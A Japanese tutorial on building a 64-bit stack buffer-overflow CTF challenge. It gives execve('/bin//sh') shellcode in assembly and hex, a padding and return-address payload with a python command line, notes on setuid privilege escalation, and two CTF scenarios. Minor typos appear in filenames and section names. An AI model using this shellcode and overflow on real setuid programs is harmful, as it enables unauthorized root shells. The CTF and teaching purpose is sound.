BufferOverFlow 64bit for CTF

CTF問題用に脆弱性のある64ビットプログラムの問題を作成する。

脆弱性のあるコード

このプログラムはfoo関数において64バイトの変数を宣言している。64バイトを超える入力があるとBoFが引き起こされる。今回はShellCodeを流し込んでBoFにより64ビットプログラムで/bin/shを起動する実験をする。
そのまえにまずShellCodeを作る必要がある。/bin/shを起動するにはLinuxのシステムコールであるexecveを呼び出す必要がある。その際に各レジスタに設定すべき値は以下となる。
 raxレジスタ:execveシステムコールの識別子である59を入力
 rdiレジスタ:第一引数を入力。今回は ”/bin//sh\0″を入力。
       ※ / が2個あるのは8バイトにするため。
 rsiレジスタ:第二引数を入力。今回は「”/bin//sh\0,NULL”」を入力。
 rdxレジスタ:第三引数を入力。今回は「”NULL”」を入力。

レジスタ状態を上記に設定した状態でCPUがsyscall命令を実行すると、Linuxのシステムコールexecveが呼び出され/bin/shが実行される。レジスタ状態を上記に設定するアセンブリコードは以下となる。

section .test
global _start

_start
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx + 59]
syscall

上記アセンブラコードを以下のコマンドでアセンブルする。

nasm -f elf64 -o shellcode.o shellcode.asm
ld -o shellcode shellcode.p

これで/bin/shを実行するバイナリが出来上がる。
このバイナリをobjdumpコマンドでシェルコードとして表示させる。

[root@ns2 vuln]# objdump -d shellcode

shellcode: file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 52 push %rdx
400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rax
40008b: 2f 73 68
40008e: 50 push %rax
40008f: 48 89 e7 mov %rsp,%rdi
400092: 52 push %rdx
400093: 57 push %rdi
400094: 48 89 e6 mov %rsp,%rsi
400097: 48 8d 42 3b lea 0x3b(%rdx),%rax
40009b: 0f 05 syscall

表示された16進数文字がシェルコードとなる。

“\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05”

今回のシェルコードは29文字となっている。プログラムをgdbで解析すると、foo関数のStackメモリとしては宣言通り64バイトが確保されている。この64バイトの下にはベースポインタ(8バイト)とリターンアドレス(6バイト)がある。
したがって、BoFを起こしてリターンアドレスを書き換えるには以下のようになる。

shellcode(29バイト)+調整バイト(43バイト)+リターンアドレス(6バイト)

リターンアドレスにはshellcodeのアドレスを提示する必要がある。
今回のプログラムではこのリターンアドレスがわかるようにfoo関数内で宣言した変数cのアドレスを表示するようにしている。ここで表示されるアドレスをセットすることでBoFが可能になる。

./vuln.out $(python -c ‘print(“\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05” + “\x90″*43 + “リターンアドレス”)’)

ただし、以下の注意点がある。
引数として入力した文字はMain関数のスタックに積まれるため、引数のバイト数によりfoo関数内でのスタックメモリアドレスも変化する。
例えば
 vuln.out 100 とした場合の変数cのアドレスと
 vuln.out 1000000 とした場合の変数cのアドレスは変わってくる。

したがって、BoFを成功させるには一度、上記のシェルコード、調整バイト、仮のリターンアドレスを流し込み、その際に表示される変数cのアドレスにリターンアドレスを変更させて再度実行する必要がある。
※ここでいろいろ悩んだ。
 追記:BoF後に権限昇格するには以下が必要
    ・脆弱性のあるプログラムにsetuidビットが設定されていること
    ・プログラムOwnerがrootの場合
      メインプログラムでsetuid関数で権限を設定していなくても
      流し込むShellcode上でsetuid実行することで任意のユーザへの
      権限昇格が可能。
    ・プログラムOwnerがroot以外の場合
      メインプログラムでsetuid関数を呼び、そのユーザの権限を明示的に
      設定する必要がある。(例:setreuid(1002,1002); )
      その後に流し込むShellcodeは/bin/shを呼ぶだけで、そのユーザの
      権限になれる。
    
■CTFのシナリオについて

シナリオ1
脆弱性のあるプログラムにsecretFunction関数がある。これを呼び出せ。secretFunctionが呼び出されると、脆弱性のある関数の権限でしか読みだせないflat1.txtの中身が表示され、Flagを得ることができる。
※脆弱性のあるプログラムとflag1.txtの実行、読み取り権限を設定するのがポイント

シナリオ2
脆弱性のあるプログラムをBoFにより/bin/shを起動させ、flag2.txtの中身を表示させFlagを取得せよ。

コメントをどうぞ